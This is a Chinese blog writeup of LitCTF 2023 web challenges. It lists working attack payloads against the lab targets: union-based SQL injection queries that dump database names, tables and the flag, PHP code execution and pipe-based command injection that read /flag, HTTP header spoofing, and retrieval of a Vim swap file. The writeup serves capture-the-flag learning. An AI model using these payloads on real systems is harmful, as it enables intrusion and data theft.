Writeup[LitCTF2023]

本文最后更新于:4 个月前

LitCTF 2023 (公开赛道)部分web题目writeup,还有misc和crypto的wp这次就不写了,因为大部分可以直接脚本出结果

web

我flag的?

描述

提示:奇怪,放哪里了,怎么看不见呢?(初级难度)
思路:签到题

exp

1
2
3
4
5
6
# f12
<script src="assets/js/script.min.js"></script>
</body>

</html>
<!--flag is here flag=NSSCTF{XXX} -->

导弹迷踪

描述

你是一颗导弹,你需要,飞到最后!(通过6道关卡就能拿到flag哦~
思路:直接js源码

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# f12 > 源代码 > game.js
var Messages = {
START: {
title: getLevelString,
text: function () {return 'CLICK TO BEGIN';}
},
CRASH: {
title: function () {return 'CRASHED';},
text: function () {return 'CLICK TO RETRY';}
},
GAME_OVER: {
title: function () {return 'GAME OVER';},
text: function () {return 'CLICK TO START AGAIN';}
},
FINISH: {
title: function () {return 'LEVEL COMPLETED';},
text: function () {if (mLevel === 6) {return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}';} else {return 'CLICK TO CONTINUE';}},
}
};

Follow and hack me

描述

提示:跟我来~
思路:直接js源码

exp

1
2
3
4
5
6
7
8
9
10
11
# hackbar > 按提示传参
http://node5.anna.nssctf.cn:28434/?CTF=Lit2023
Challenge=i'm_c0m1ng
# response
NSSCTF{xxx}
他说备份文件还有好吃的!
# 彩蛋
# 查看备份文件,最开始的思路是看有没有index.php.swp/bak/等,发现都没有
# 后面直接看www.zip,发现了备份
// 第三个彩蛋!(看过头号玩家么?)
// _xxx_ (3/?)

PHP是世界上最好的语言!!

描述

提示:探姬坚信PHP是世界上最好的语言,于是她用PHP写了一个小工具 (Flag位于根目录)
思路:看到run code,考虑直接运行代码执行

exp

1
2
3
system("cat /flag");
# response
flag=NSSCTF{xxx}

Vim yyds

描述

提示:漏…漏了!
思路:页面提示>队里师傅说Vim是世界上最好的编辑器,不接受反驳 can can need Vim,想到vim查看index.php.swp文件缓存

exp

1
2
node5.anna.nssctf.cn:28908/.index.php.swp
vim -r index.php.swp

作业管理系统

描述

提示:交作业!!但是哪里不对?
思路:看到有文件上传,考虑直接上传后门文件,连接后看到flag

exp

1
2
3
4
网页中出现一个jpg地址:https://github.com/ProbiusOfficial/My_pic/blob/main/demo.jpg
进入后发现彩蛋
wow 你找到了第二个彩蛋哦~
_S0_ne3t? (2/?)

这是什么?SQL!注一下!

描述

提示:为了安全起见多带了几个套罢了o(////▽////)q
思路:直接给出了sql语句id = ".'(((((('.$_GET["id"].'))))))';,开始注入

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 数据库名
?id=-1)))))) union select 1,group_concat(schema_name) from information_schema.schemata --+
Array ( [0] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) )
# 表名
?id=-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'--+
Array ( [0] => Array ( [username] => 1 [password] => flag,news,users ) )
#列名
?id=-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='ctftraining.flag'
Array ( [0] => Array ( [username] => 1 [password] => flag) )
# flag
?id=-1)))))) union select 1,group_concat(flag) from ctftraining.flag --+
Array ( [0] => Array ( [username] => 1 [password] => NSSCTF{xxx} ) )

# 彩蛋
?id=2
Array ( [0] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) )

Http pro max plus

描述

提示:怎么还有一层…
思路:按提示层层绕过

exp

1
2
3
4
5
6
7
8
9
10
11
# 只允许本地访问
Client-ip: 127.0.0.1
# You are not from pornhub.com !
Referer: pornhub.com
# 用Chrome浏览器啊!
User-Agent: Chrome
# 不开代理你想上p站?代理服务器地址是Clash.win
Via: Clash.win
# 借一步说话--->> /wtfwtfwtfwtf.php
f12 > /sejishikong.php
拿上你的flag赶紧走NSSCTF{xxx}

Ping

描述

提示:拿上你的flag赶紧走NSSCTF{3d30e1d2-7735-4508-bc3c-b348d27cb0ca}
思路:尝试直接管道符,不行,hackbar load一下,发现post command=0.0.0.0&ping=Ping

exp

1
2
3
# 构造payload
command=0.0.0.0|ls&ping=Ping
command=0.0.0.0|cat /flag&ping=Ping

就当无事发生

描述

提示:https://ProbiusOfficial.github.io 差点数据没脱敏就发出去了,还好还没来得及部署,重新再pull一次(x
思路:这题主要考察git commit迭代中会暴露的数据问题

exp

1
2
3
4
进入 https://github.com/ProbiusOfficial
找到 https://github.com/ProbiusOfficial/ProbiusOfficial.github.io仓库
找到相应的commit ,爆出
<p>Flag LitCTF{g1thub_c0mmit_1s_s0_us3ful}</p>]]></content>

总结

  1. 作为新生赛,题目比较简单,当然在部分题目上也认识到了自己的问题所在
  2. web部分还需要深入研究
  3. 进一个网页后,第一件事就是F12

Writeup[LitCTF2023]
http://sec-cat.github.io/2023/05/14/LitCTF2023/
作者
cat
发布于
2023年5月14日
许可协议